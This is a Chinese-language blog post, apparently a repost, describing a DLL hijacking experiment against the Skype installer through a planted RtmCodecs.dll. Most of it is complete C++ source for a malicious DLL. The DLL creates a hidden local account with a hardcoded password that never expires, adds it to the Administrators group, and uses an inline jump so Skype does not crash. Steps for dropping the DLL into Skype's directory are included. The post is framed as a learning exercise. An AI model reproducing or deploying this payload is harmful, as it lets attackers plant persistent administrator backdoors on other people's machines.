dll劫持技術探索


0x1:實驗背景

  看到國外一篇文章,大致描述如下:

Hi,

There are a dll planting vuln in skype installer. This vuln had been
reported to Microsoft but they decided not fix this.

Here is the vulnerability details:
------
Skype installer in Windows is open to DLL hijacking.

Skype looks for a specific DLL by dynamically going through a set of
predefined directories. One of the directory being scanned is the
installation directory, and this is exactly what is abused in this
vulnerability.

 

  根據描述我們可以知道skype存在dll劫持漏洞,在試驗中需要劫持的dll為RtmCodecs.dll,接下來我們開始試驗。

0x2: dll劫持原理

  由於輸入表中只包含DLL名而沒有它的路徑名,因此加載程序必須在磁盤上搜索DLL文件。首先會嘗試從當前程序所在的目錄加載DLL,如果沒找到,則在Windows系統目錄中查找,最后是在環境變量中列出的各個目錄下查找。利用這個特點,先偽造一個系統同名的DLL,提供同樣的輸出表,每個輸出函數轉向真正的系統DLL。程序調用系統DLL時會先調用當前目錄下偽造的DLL,完成相關功能后,再跳到系統DLL同名函數里執行。這個過程用個形象的詞來描述就是系統DLL被劫持(hijack)了。

 

0x3:實驗過程

  (1) 編寫一個劫持指定dll程序原理

1.查看被劫持的DLL的導出函數表。
2.編程實現劫持DLL向原DLL的導出函數的轉發,並加入你的“惡意代碼”。

 

   (2) 由於文章里給出一個彈出會話框功能的dll,這里我們先看看作者怎么實現的。

 

從上圖可以看出,作者直接在DLL入口執行一個msaageBox函數 彈出對話框。我們也這樣實現一個函數添加用戶試試,主要代碼如下

msi.h

#pragma once


#ifdef DLLEXPORT
#define DLL_INTERFACE __declspec(dllexport)
#else
#define DLL_INTERFACE __declspec(dllimport)
#endif
extern "C"{
	DLL_INTERFACE void adduser();	 
	
}

 msi.cpp

// msi.cpp : 定義 DLL 應用程序的導出函數。
//

#include "stdafx.h"
#define DLLEXPORT

#include "msi.h"

DLL_INTERFACE void adduser()
{
	NET_API_STATUS		nStatus;
	DWORD dwError		= 0;
	DWORD dwLevel		= 1;
	USER_INFO_1			ui;
	ui.usri1_name		= L"iiis";   //用戶名
	ui.usri1_password	= L"password123!@#";   //密碼
	//ui.usri1_name		= argv[1];
	//ui.usri1_password	= argv[1];
	ui.usri1_priv		= USER_PRIV_USER;  //權限
	ui.usri1_home_dir	= NULL;
	ui.usri1_comment	= NULL;
	ui.usri1_flags		= UF_SCRIPT|UF_DONT_EXPIRE_PASSWD|UF_PASSWD_CANT_CHANGE; //登錄腳本執行,密碼不可更改,密碼永不過期
	ui.usri1_script_path = NULL;

	
	nStatus = NetUserAdd(
					NULL,
					dwLevel,
					(LPBYTE)&ui,
					&dwError
					);

	if ( nStatus == NERR_Success || nStatus == NERR_UserExists )
	{
		std::cout << "add user success" << std::endl;
	}
	else
	{
		std::cout << "add user failed: " << nStatus << std::endl;
		exit(-1);
	}


	LOCALGROUP_MEMBERS_INFO_3 account;
	account.lgrmi3_domainandname=ui.usri1_name; //傳入用戶名
	
	nStatus = NetLocalGroupAddMembers(
								NULL,
								L"Administrators",
								3,
								(LPBYTE)&account,
								1);

	if ( nStatus == NERR_Success )
	{
		std::cout << "add localgroup success" << std::endl;
	}
	else
	{
		std::cout << "add localgroup failed: " << nStatus << std::endl;
		exit(-1);
	}
	__asm JMP EAX;  // 初次測試沒有這一句
}

 編譯,放進skpye的phone目錄替換RtmCodecs.dll,然后啟動skype,如圖:

劫持成功,但是skype崩潰掉了,分析一下原因,大概是沒有實現劫持DLL向原DLL的導出函數的轉發導致的,但是作者也沒有這樣實現怎么就不崩潰呢,於是反編譯了一下skype原RtmCodecs.dll看看導出函數是長啥樣的,如下圖:

結合IDA里面執行完messageBox函數后的eax清零操作,大概了解,應該在Adduser()執行完畢后對返回進行一下處理,於是在Adduser()函數體末尾添加

__asm JMP EAX;

 指令,再編譯測試,如下圖:

成功劫持並添加用戶,skype也沒有崩潰。

 

0x4 后記:

  上述就是整個實驗過程,當然在劫持指定dll的時候,為了程序能正常使用按照編寫一個劫持指定dll程序原理去實現效果最好,在本次試驗中,這個過程忽略了。

0x5 參考:

  1. http://www.exploitalert.com/view-details.html?id=24885

  2. http://www.freebuf.com/articles/78807.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM